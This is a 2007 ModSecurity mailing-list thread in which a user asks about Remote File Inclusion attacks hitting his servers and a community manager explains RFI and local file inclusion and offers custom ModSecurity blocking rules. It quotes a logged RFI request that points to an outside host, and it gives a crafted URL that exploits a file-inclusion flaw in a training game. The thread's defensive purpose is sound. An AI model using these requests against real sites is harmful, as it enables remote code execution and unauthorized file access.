Re: [mod-security-users] RFI exploits
Brought to you by:
victorhora,
zimmerletw
Menu
▾
▴
Re: [mod-security-users] RFI exploits
|
From: Ryan B. <Ryan.Barnett@Breach.com> - 2007-10-29 23:34:39
|
One last item as this topic is important. Please note the OWASP Top Ten item is actually called "Malicious File Execution." While it includes RFI, it is not the only attack vector. The other main issue to consider under this context is that that an attacker could try to manipulate any file inclusion to call up local, but non-authorized files. In this scenario, the attacker is manipulating how the program works by accessing other files. If you want a good example of this type of a vulnerability and attack, checkout Level 4 from the old NGSec Web Authentication Game here - http://quiz.ngsec.biz:8080/game1/level4/tryforfun.php Here are the details of how to exploit it. Look at the Pseudo source code of the validate_tryforfun.php http://quiz.ngsec.biz:8080/game1/level4/validate_tryforfun.txt And look at the Format of the Auth File, http://quiz.ngsec.biz:8080/game1/level4/auth_file-format.txt Trick validate_tryforfun.php to read the auth_file-format.txt file it will use "user" and "password" as valid auth input.=20 http://quiz.ngsec.biz:8080/game1/level4/validate_tryforfun.php?login=3Dus= e r&password=3Dpassword&auth_file=3D./auth_file-format.txt So, for this type of an attack, you would need to use some form of positive security for this application. One idea would be to enforce that there are only 2 parameters and that their names are login and password as this would prevent an attacker from included unexpected arguments - <Location "/game1/level4/validate_tryforfun.php"> SecRule &ARGS "!@eq 2" SecRule ARGS_NAMES "!^(login|password)$" </Location> If, however, auth_file was a valid parameter name, then you would want to ensure that it only points to the file that you want it to - <Location "/game1/level4/validate_tryforfun.php"> SecRule ARGS:auth_file "!^/path/to/real/auth_fil.txt$" </Location>=20 Hopefully, these examples will help you with creating some custom rules to address this issue. --=20 Ryan C. Barnett ModSecurity Community Manager Breach Security: Director of Training Web Application Security Consortium (WASC) Member CIS Apache Benchmark Project Lead SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC Author: Preventing Web Attacks with Apache =20 =20 > -----Original Message----- > From: Ryan Barnett > Sent: Monday, October 29, 2007 7:10 PM > To: Camilo Olea; mod...@li... > Subject: RE: [mod-security-users] RFI exploits >=20 > There have been many off-list emails sent on this topic so I wanted to > send something back out officially as this is an important topic. Remote > File Includes/Inclusions (RFI) are a big problem especially for PHP driven > sites. Here is the info listed in the OWASP Top Ten site - > http://www.owasp.org/index.php/Top_10_2007-A3. As specified on the Core > Rules project page - http://www.modsecurity.org/projects/rules/index.html > - the Core Rules employ what we call "generic attack detection." The > generic term really means two different things - >=20 > 1) We do not tie attack payloads (OS command, SQL Injection, etc...) to > attack vectors (parameter names). The analogy that I often make to people > is that of home security in the real "physical" world. Our rules would > not focus on "how" an attacker broke into your house meaning the backdoor > vs. the basement window, etc... We instead focus on "what" the bad guys > are going for such as your stereo equipment vs. jewelry, etc... This way, > our rules do not need to be updated when your application changes. >=20 > 2) We do not know what your back-end web application will be (web > language) so we are not tied to only protecting ASP vs. PHP, etc... >=20 > With these two concepts in mind, the problem with trying to identify > remote file includes is that including a FQDN in a parameter value may be > acceptable in some environments. For example, there may be a parameter > value that redirects a user to a certain URL location (such as during a > login). Due to this, we did not create any "generic" rules to deny > http:// links in parameter ARGS. If we did this in the Core Rules, then > we would receive many emails complaining about false positives since it > was blocking legitimate functionality :( >=20 > In these situations, it is best that users add in additional custom rules > for their environments to identify/block this type of stuff if need be. > For RFI issues, the key to detecting this is to block any http:// string > in the ARGS payload. For example - >=20 >=20 > SecRule ARGS|ARGS_NAMES "http:\/" > "phase:2,deny,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:rem ov > eWhitespace,ctl:auditLogParts=3D+ = E,log,auditlog,msg:'RFI',severity:'2'" >=20 > There is still a chance for false positives if there are comments/blog > posting functionality where users could post hyper-links to websites etc. > So, for the specific issue that you showed below, you could restrict this > down to just the QUERY_STRING variable and run it in phase:1 to help > reduce the FP rate - >=20 > SecRule QUERY_STRING "\=3Dhttp:\/" > "phase:1,deny,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:rem ov > eWhitespace,ctl:auditLogParts=3D+ = E,log,auditlog,msg:'RFI',severity:'2'" >=20 > The key take away from this issue is that in order to use ModSecurity to > fix issues that are outside the current scope of the Core Rules, you > really need to have some understanding of how your application works. >=20 > -- > Ryan C. Barnett > ModSecurity Community Manager > Breach Security: Director of Training > Web Application Security Consortium (WASC) Member > CIS Apache Benchmark Project Lead > SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC > Author: Preventing Web Attacks with Apache >=20 >=20 >=20 > > -----Original Message----- > > From: mod...@li... [mailto:mod- > > sec...@li...] On Behalf Of Camilo Olea > > Sent: Friday, October 26, 2007 11:51 AM > > To: mod...@li... > > Subject: [mod-security-users] RFI exploits > > > > Hi all, > > > > We've been getting lots of RFI attacks directed at our servers, heres an > > example of one of them: > > > > GET /index.php?task=3Dhttp://jontex.bravehost.com/safe.max? HTTP/1.1 > > > > They do show up at the modsecurity console, and from what I can see, > > modsecurity is returning this to the attackers: > > > > HTTP/1.1 200 OK > > X-Powered-By: PHP/5.2.2 > > <snip> > > > > My question is: does this mean the attacks are getting through? Or is > > modsec blocking them and just returning that to the attackers? I'm lost > > here... > > > > Thanks, > > Camilo Olea > > Sunsetworld > > > > > > ------------------------------------------------------------------------ > - > > This SF.net email is sponsored by: Splunk Inc. > > Still grepping through log files to find problems? Stop. > > Now Search log events and configuration files using AJAX and a browser. > > Download your FREE copy of Splunk now >> http://get.splunk.com/ > > _______________________________________________ > > mod-security-users mailing list > > mod...@li... > > https://lists.sourceforge.net/lists/listinfo/mod-security-users |